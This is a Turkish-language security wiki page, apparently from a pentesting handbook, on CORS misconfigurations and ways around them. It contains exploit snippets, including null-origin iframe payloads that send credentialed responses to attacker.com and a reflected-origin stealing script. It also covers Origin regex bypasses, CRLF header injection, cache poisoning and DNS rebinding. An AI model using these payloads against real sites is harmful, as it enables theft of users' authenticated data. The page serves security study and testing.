CORS - Yanlış Yapılandırmalar & Bypass

Reading time: 20 minutes

CORS Nedir?

Cross-Origin Resource Sharing (CORS) standardı sunucuların varlıklarına kimin erişebileceğini ve hangi HTTP istek yöntemlerinin dış kaynaklardan izinli olduğunu tanımlamasını sağlar.

Aynı köken politikası, bir kaynak talep eden sunucu ile kaynağı barındıran sunucunun aynı protokolü (örneğin, http://), alan adını (örneğin, internal-web.com) ve portu (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan ve porttan gelen web sayfalarının kaynaklara erişimine izin verilir.

http://normal-website.com/example/example.html bağlamında aynı köken politikasının uygulanışı aşağıdaki gibi gösterilmektedir:

*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.

Access-Control-Allow-Origin Başlığı

Bu başlık birden fazla köken, null değeri veya bir joker karakter * izin verebilir. Ancak, hiçbir tarayıcı birden fazla kökeni desteklemez ve joker karakter * kullanımı sınırlamalara tabidir. (Joker karakter yalnız başına kullanılmalı ve Access-Control-Allow-Credentials: true ile birlikte kullanımı yasaktır.)

Bu başlık, bir web sitesi tarafından başlatılan bir çapraz alan kaynak talebine yanıt olarak bir sunucu tarafından verilir, tarayıcı otomatik olarak bir Origin başlığı ekler.

Access-Control-Allow-Credentials Başlığı

Varsayılan olarak, çapraz köken istekleri, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz alan sunucusu, Access-Control-Allow-Credentials başlığını true olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.

true olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Ön Uçuş İsteği

Alanlar Arası İletişimde Ön Uçuş İsteklerini Anlamak

Belirli koşullar altında, örneğin standart dışı bir HTTP yöntemi (HEAD, GET, POST dışındaki herhangi bir şey) kullanıldığında, yeni başlıklar tanıtıldığında veya özel bir Content-Type başlık değeri kullanıldığında, bir ön uçuş isteği gerekli olabilir. Bu ön isteği, OPTIONS yöntemini kullanarak, sunucuya yaklaşan alanlar arası isteğin niyetlerini, kullanmayı planladığı HTTP yöntemlerini ve başlıklarını bildirmek için kullanılır.

Alanlar Arası Kaynak Paylaşımı (CORS) protokolü, istenen alanlar arası işlemin uygulanabilirliğini belirlemek için izin verilen yöntemleri, başlıkları ve kaynağın güvenilirliğini doğrulamak amacıyla bu ön uçuş kontrolünü zorunlu kılar. Ön uçuş isteği gereksinimini ortadan kaldıran koşulları detaylı bir şekilde anlamak için Mozilla Developer Network (MDN) tarafından sağlanan kapsamlı kılavuza başvurun.

Ön uçuş isteğinin yokluğunun, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını belirtmek önemlidir. Bu başlıklar olmadan, tarayıcı, alanlar arası isteğin yanıtını işleme yeteneğinden yoksun kalır.

PUT yöntemini ve Special-Request-Header adlı özel bir başlığı kullanmayı amaçlayan bir ön uçuş isteğinin aşağıdaki örneğine bakın:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Sunucu, aşağıda gösterildiği gibi, kabul edilen yöntemleri, izin verilen kökeni ve diğer CORS politika detaylarını belirten başlıklar döndürebilir:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: Bu başlık, gerçek istekte hangi başlıkların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklere izin verilen başlıkları göstermek için ayarlanır.
• Access-Control-Expose-Headers: Bu başlık aracılığıyla sunucu, istemciye basit yanıt başlıkları dışında hangi başlıkların yanıtın bir parçası olarak açığa çıkarılabileceğini bildirir.
• Access-Control-Max-Age: Bu başlık, bir ön uç isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini gösterir. Sunucu, bir ön uç isteği tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
• Access-Control-Request-Headers: Ön uç isteklerinde kullanılan bu başlık, istemci tarafından sunucuya gerçek istekte hangi HTTP başlıklarını kullanmak istediğini bildirmek için ayarlanır.
• Access-Control-Request-Method: Ön uç isteklerinde de kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
• Origin: Bu başlık, tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kaynağını gösterir. Sunucu, gelen isteğin CORS politikasına göre izin verilip verilmeyeceğini değerlendirmek için kullanır.

Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) bir GET/POST isteğinde ön uç isteği gönderilmez (istek doğrudan gönderilir), ancak yanıtın başlıklarına/gövdesine erişmek istiyorsanız, bunun bir Access-Control-Allow-Origin başlığı içermesi gerekir.
Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ama yardımcı olabilir).

Yerel Ağ İstekleri Ön Uç İsteği

1. Access-Control-Request-Local-Network: Bu başlık, istemcinin isteğinde yerel ağ kaynağına yönelik bir sorgu olduğunu belirtmek için dahil edilir. Sunucuya, isteğin yerel ağdan geldiğini bildiren bir işaret görevi görür.
2. Access-Control-Allow-Local-Network: Sunucular, yanıt olarak bu başlığı kullanarak istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletir. Farklı ağ sınırları arasında kaynakların paylaşımına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişim sağlar.

Yerel ağ isteğine izin veren geçerli bir yanıt, yanıtta Access-Controls-Allow-Local_network: true başlığını da içermelidir.

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Wildcards

Aşağıdaki yapılandırmanın oldukça izin verici görünebileceğini unutmayın:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Bu, tarayıcılar tarafından izin verilmez ve bu nedenle kimlik bilgileri bu istekle gönderilmeyecektir.

Sömürülebilir yanlış yapılandırmalar

Access-Control-Allow-Credentials ayarının true olarak belirlenmesinin, çoğu gerçek saldırı için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunu olmadan, bir tarayıcının istek yapmasının avantajı, bir kullanıcının çerezlerini kullanmanın imkansız hale gelmesi nedeniyle azalır.

İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Sömürme

Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir ve IP tabanlı kimlik doğrulamasını aşarak intranet uygulamalarına erişim sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahiptir ancak sömürmesi daha basittir.

Origin'in Access-Control-Allow-Origin'de Yansıması

Gerçek dünyadaki senaryoda Origin başlığının değeri Access-Control-Allow-Origin'de yansıtıldığında, bu teorik olarak bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle olası değildir. Ancak, birden fazla URL için CORS'u etkinleştirmek isteyen geliştiriciler, Origin başlığının değerini kopyalayarak Access-Control-Allow-Origin başlığını dinamik olarak oluşturabilirler. Bu yaklaşım, bir saldırganın meşru görünmek üzere tasarlanmış bir alan adı kullanması durumunda, doğrulama mantığını yanıltarak zafiyetler oluşturabilir.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin'ı Kullanma

null origin, yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilmiştir ve benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu origin'i beyaz listeye alır ve bu da herhangi bir web sitesinin, CORS kısıtlamalarını aşarak, sandboxed iframe aracılığıyla null origin'i taklit etmesine olanak tanır.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Bir alan beyaz listesi ile karşılaşıldığında, saldırganın alanını beyaz listeye eklemek veya alt alan ele geçirme açıklarını istismar etmek gibi atlatma fırsatlarını test etmek önemlidir. Ayrıca, alan doğrulaması için kullanılan düzenli ifadeler, alan adlandırma kurallarındaki incelikleri gözden kaçırabilir ve bu da daha fazla atlatma fırsatı sunar.

Advanced Regular Expression Bypasses

Regex desenleri genellikle alfanümerik, nokta (.) ve tire (-) karakterlerine odaklanır, diğer olasılıkları göz ardı eder. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içerecek şekilde oluşturulmuş bir alan adı, güvenlik kontrollerini atlayabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alışı, bu tür tutarsızlıkların alan doğrulama mantığını aşmak için nasıl istismar edilebileceğini göstermektedir.

Daha fazla bilgi ve bu atlatma kontrolünün ayarları için: https://www.corben.io/advanced-cors-techniques/ ve https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

From XSS inside a subdomain

Geliştiriciler, CORS istismarına karşı koruma sağlamak için, bilgi talep etmeye izin verilen alanları beyaz listeye alarak savunma mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeye alınmış alanlar içinde tek bir savunmasız alt alanın varlığı, XSS (Cross-Site Scripting) gibi diğer açıklar aracılığıyla CORS istismarına kapı açabilir.

Örneğin, requester.com adlı bir alanın, provider.com adlı başka bir alandan kaynaklara erişmek için beyaz listeye alındığı senaryoyu düşünelim. Sunucu tarafı yapılandırması muhtemelen şöyle görünebilir:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Bu kurulumda, requester.com'un tüm alt alan adlarının erişimine izin verilmektedir. Ancak, bir alt alan adı, örneğin sub.requester.com, XSS zafiyeti ile tehlikeye girerse, bir saldırgan bu zayıflıktan yararlanabilir. Örneğin, sub.requester.com'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını aşabilir ve provider.com üzerindeki kaynaklara kötü niyetle erişebilir.

Özel Karakterler

PortSwigger’in URL validation bypass cheat sheet bazı tarayıcıların alan adları içinde garip karakterleri desteklediğini bulmuştur.

Chrome ve Firefox, Origin başlığını doğrulamak için uygulanan regex'leri aşabilen alt çizgileri _ desteklemektedir:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari, alan adında özel karakterleri kabul etme konusunda daha da gevşektir:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Diğer eğlenceli URL hileleri

URL Format Bypass

Sunucu tarafı önbellek zehirlenmesi

Bu araştırmadan

HTTP başlık enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesini istismar ederek, depolanmış bir Cross-Site Scripting (XSS) açığı oluşturmak mümkündür. Bu senaryo, bir uygulamanın Origin başlığını yasadışı karakterler için temizlememesi durumunda ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar (0x0d) değerini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder ve bu da HTTP başlık enjeksiyonu zafiyetlerine yol açar.

Origin başlığının manipüle edildiği aşağıdaki isteği düşünün:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge yanıtı şu şekilde yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bu güvenlik açığını doğrudan kötüye kullanmak için bir web tarayıcısının hatalı bir başlık göndermesi pratik değildir, ancak Burp Suite gibi araçlar kullanılarak özel bir istek manuel olarak oluşturulabilir. Bu yöntem, sunucu tarafında bir önbelleğin yanıtı kaydetmesine ve istemeden de olsa başkalarına sunmasına yol açabilir. Özel yük, sayfanın karakter setini UTF-7 olarak değiştirmeyi amaçlar; bu, belirli bağlamlarda script olarak çalıştırılabilen karakterleri kodlama yeteneği nedeniyle genellikle XSS güvenlik açıkları ile ilişkilendirilen bir karakter kodlamasıdır.

Depolanan XSS güvenlik açıkları hakkında daha fazla bilgi için PortSwigger sayfasına bakın.

Not: HTTP başlık enjeksiyon güvenlik açıklarının, özellikle sunucu tarafı önbellek zehirlenmesi yoluyla kötüye kullanılması, tüm kullanıcı tarafından sağlanan girdilerin, HTTP başlıkları da dahil olmak üzere, doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür güvenlik açıklarını önlemek için her zaman sağlam bir güvenlik modeli uygulayın.

İstemci Tarafı Önbellek Zehirlenmesi

Bu araştırmadan

Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenmektedir. Özellikle, web sayfası X-User-id başlığında yer alan içeriği geri yansıtmaktadır; bu içerik, yükleme sırasında JavaScript kodunu çalıştırmak üzere tasarlanmış bir SVG resim etiketi içerebilir.

Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıt doğrudan tarayıcı tarafından işlenmediğinde, bu tür bir enjeksiyonun faydası sınırlı görünebilir. Kritik nokta, tarayıcının önbellek davranışını dikkate almaktır. Eğer Vary: Origin başlığı belirtilmemişse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonrasında, bu önbelleğe alınmış yanıt, URL'ye gidildiğinde doğrudan işlenebilir ve ilk istekte doğrudan işleme gereksinimini atlayabilir. Bu mekanizma, istemci tarafı önbellekleme kullanılarak saldırının güvenilirliğini artırır.

Bu saldırıyı göstermek için, bir web sayfası ortamında çalıştırılmak üzere tasarlanmış bir JavaScript örneği sağlanmıştır; örneğin bir JSFiddle aracılığıyla. Bu script, kötü niyetli JavaScript içeren özel bir başlıkla belirtilen bir URL'ye istek gönderir. İstek başarıyla tamamlandığında, hedef URL'ye yönelmeye çalışır; eğer yanıt Vary: Origin başlığı uygun şekilde işlenmeden önbelleğe alınmışsa, enjekte edilen scriptin çalıştırılmasını tetikleyebilir.

Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özet bir dökümü:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, yani Cross-Site Script Inclusion, script etiketi kullanarak kaynakları dahil ederken Same Origin Policy (SOP) uygulanmadığı gerçeğinden faydalanan bir zayıflık türüdür. Bunun nedeni, scriptlerin farklı alan adlarından dahil edilebilmesi gerekliliğidir. Bu zayıflık, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişip okumasına olanak tanır.

Bu zayıflık, dinamik JavaScript veya JSONP (Padding ile JSON) söz konusu olduğunda özellikle önemlidir, özellikle kimlik doğrulama için çerezler gibi ambient-authority bilgileri kullanıldığında. Farklı bir hosttan kaynak talep edildiğinde, çerezler dahil edilir ve bu da saldırganın erişimine açılır.

Bu zayıflığı daha iyi anlamak ve hafifletmek için https://github.com/kapytein/jsonp adresindeki BurpSuite eklentisini kullanabilirsiniz. Bu eklenti, web uygulamalarınızdaki potansiyel XSSI zayıflıklarını tanımlamaya ve ele almaya yardımcı olabilir.

XSSI'nin farklı türleri ve bunları nasıl istismar edeceğiniz hakkında daha fazla bilgi edinin.

Talepte bir callback parametresi eklemeyi deneyin. Belki de sayfa verileri JSONP olarak göndermeye hazırlanmıştır. Bu durumda, sayfa Content-Type: application/javascript ile verileri geri gönderecektir ve bu da CORS politikasını aşacaktır.

Easy (gereksiz?) bypass

Access-Control-Allow-Origin kısıtlamasını aşmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını istemek ve yanıtı geri göndermesini sağlamaktır. Ancak, bu senaryoda, nihai kurbanın kimlik bilgileri farklı bir alan adına yapılan istekle gönderilmeyecektir.

1. CORS-escape: Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirerek sahte bir şekilde ayarlar. Bu, CORS politikasını etkili bir şekilde aşar. İşte XMLHttpRequest ile bir örnek kullanım:
2. simple-cors-escape: Bu araç, istekleri proxylemek için alternatif bir yaklaşım sunar. İsteğinizi olduğu gibi iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.

Iframe + Popup Bypass

e.origin === window.origin gibi CORS kontrollerini bir iframe oluşturarak ve ondan yeni bir pencere açarak aşabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:

Iframes in XSS, CSP and SOP

TTL ile DNS Rebinding

TTL ile DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini aşmak için kullanılan bir tekniktir. İşte nasıl çalıştığı:

1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan, kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirecek şekilde değiştirir.
3. Kurbanın tarayıcısı, DNS yanıtını önbelleğe alır; bu yanıtın geçerlilik süresini belirten bir TTL (Time to Live) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar ve bu, saldırganın kurbanın sayfasında JavaScript kodu çalıştırmasına olanak tanır.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurban sunucusuna herhangi bir çerez göndermeden bilgi toplayabilir.

Tarayıcıların, bu tekniğin hemen kötüye kullanılmasını önleyebilecek önbellekleme mekanizmaları olduğunu belirtmek önemlidir, hatta düşük TTL değerleriyle bile.

DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini aşmak veya bir kullanıcının veya botun uzun bir süre boyunca aynı sayfada kalması durumlarında yararlı olabilir; bu, önbelleğin süresinin dolmasına olanak tanır.

DNS rebinding'i kötüye kullanmanın hızlı bir yoluna ihtiyacınız varsa, https://lock.cmpxchg8b.com/rebinder.html gibi hizmetleri kullanabilirsiniz.

Kendi DNS rebinding sunucunuzu çalıştırmak için DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, ona işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com) ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alan adının herhangi bir alt alan adı, ardından sizin hostunuz tarafından çözülecektir.

Daha fazla anlayış ve deneyim için http://rebind.it/singularity.html adresinde kamuya açık bir sunucuyu da keşfedebilirsiniz.

DNS Rebinding via DNS Cache Flooding

DNS cache flooding ile DNS rebinding, tarayıcıların önbellekleme mekanizmasını aşmak ve ikinci bir DNS isteği zorlamak için kullanılan başka bir tekniktir. İşte nasıl çalıştığı:

1. İlk olarak, kurban bir DNS isteği yaptığında, saldırganın IP adresi ile yanıtlanır.
2. Önbellek savunmasını aşmak için saldırgan bir hizmet çalışanı kullanır. Hizmet çalışanı, DNS önbelleğini doldurarak, önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yaptığında, artık 127.0.0.1 IP adresi ile yanıtlanır; bu genellikle localhost'u ifade eder.

Hizmet çalışanı ile DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısının ikinci bir istekte bulunmasını zorlayabilir; bu sefer saldırganın istediği IP adresine çözülür.

DNS Rebinding via Cache

Önbellek savunmasını aşmanın bir başka yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresi kullanmaktır. İşte nasıl çalıştığı:

1. Saldırgan, DNS sağlayıcısında aynı alt alan adı için iki A kaydı (veya iki IP ile tek bir A kaydı) oluşturur.
2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı, saldırganın IP adresini önce kullanmaya karar verirse, saldırgan aynı alan adına HTTP istekleri gerçekleştiren bir yük sunabilir.
4. Ancak, saldırgan kurbanın IP adresini aldıktan sonra, kurbanın tarayıcısına yanıt vermeyi durdurur.
5. Kurbanın tarayıcısı, alan adının yanıt vermediğini fark ettiğinde, verilen ikinci IP adresini kullanmaya geçer.
6. İkinci IP adresine erişerek, tarayıcı Same Origin Policy (SOP) kuralını aşar ve saldırganın bunu kötüye kullanmasına ve bilgi toplamasına olanak tanır.

Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi istismar edebilir ve kurbandan bilgi alabilir.

warning

localhost'a erişmek için Windows'ta 127.0.0.1 ve Linux'ta 0.0.0.0'ı yeniden bağlamayı denemelisiniz.
Godaddy veya Cloudflare gibi sağlayıcılar 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, "0.0.0.0" olan 2 IP ile bir A kaydı oluşturmama izin verdi.

Daha fazla bilgi için https://unit42.paloaltonetworks.com/dns-rebinding/ adresini kontrol edebilirsiniz.

Diğer Yaygın Bypass'lar

• Eğer iç IP'ler yasaklanmışsa, 0.0.0.0'ı yasaklamayı unutmuş olabilirler (Linux ve Mac'te çalışır)
• Eğer iç IP'ler yasaklanmışsa, localhost için bir CNAME ile yanıt verin (Linux ve Mac'te çalışır)
• Eğer iç IP'ler DNS yanıtları olarak yasaklanmışsa, www.corporate.internal gibi iç hizmetlere CNAME'ler ile yanıt verebilirsiniz.

DNS Rebidding Weaponized

Önceki bypass teknikleri ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi için Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference konuşmasına bakabilirsiniz.

Singularity of Origin, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli bileşenleri içerir.

DNS Rebinding'e Karşı Gerçek Koruma

• İç hizmetlerde TLS kullanın
• Verilere erişim için kimlik doğrulama isteyin
• Host başlığını doğrulayın
• https://wicg.github.io/private-network-access/: Kamu sunucularının iç sunuculara erişmek istediğinde her zaman bir ön uç isteği göndermeyi öneren taslak

Araçlar

CORS politikalarındaki olası yanlış yapılandırmaları test edin

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
• https://github.com/omranisecurity/CorsOne

Referanslar

• https://portswigger.net/web-security/cors
• https://portswigger.net/web-security/cors/access-control-allow-origin
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
• https://www.codecademy.com/articles/what-is-cors
• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b